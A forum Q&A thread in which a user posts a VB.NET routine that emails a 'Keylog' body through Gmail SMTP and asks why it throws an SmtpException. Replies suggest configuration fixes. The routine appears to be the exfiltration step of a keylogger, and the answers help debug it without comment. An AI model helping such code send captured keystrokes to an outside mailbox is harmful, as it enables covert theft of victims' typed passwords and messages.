VB

Private Sub sendmail()
      Dim Mail As New MailMessage
      Mail.Subject = "Keylog"
      Mail.To.Add("XXXXXXX@gmail.com")
      Mail.From = New MailAddress("XXXXXXX@gmail.com")
      Mail.Body = log
      Dim SMTP As New SmtpClient("smtp.gmail.com")
      SMTP.EnableSsl = True
      SMTP.Credentials = New System.Net.NetworkCredential("XXXXXXX@gmail.com", "XXXXXXXX")
      SMTP.Port = 587
      SMTP.Send(Mail)
  End Sub

This results in the error:An unhandled exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

Don't send email via gmail's smtp servers, use the smtp server provided by your web host. There are many reasons this could be failing (see opening point), if you google you'll find the possible issues.

Add these two lines:
SMTP.UseDefaultCredentials = false
SMTP.DeliveryMethod = Network

Solution 1

See my previous answer - sending email to gmail from asp.net[^].

I think you are missing client.UseDefaultCredentials = false;

If it still does not work, check the inner exception for more details about the issue.
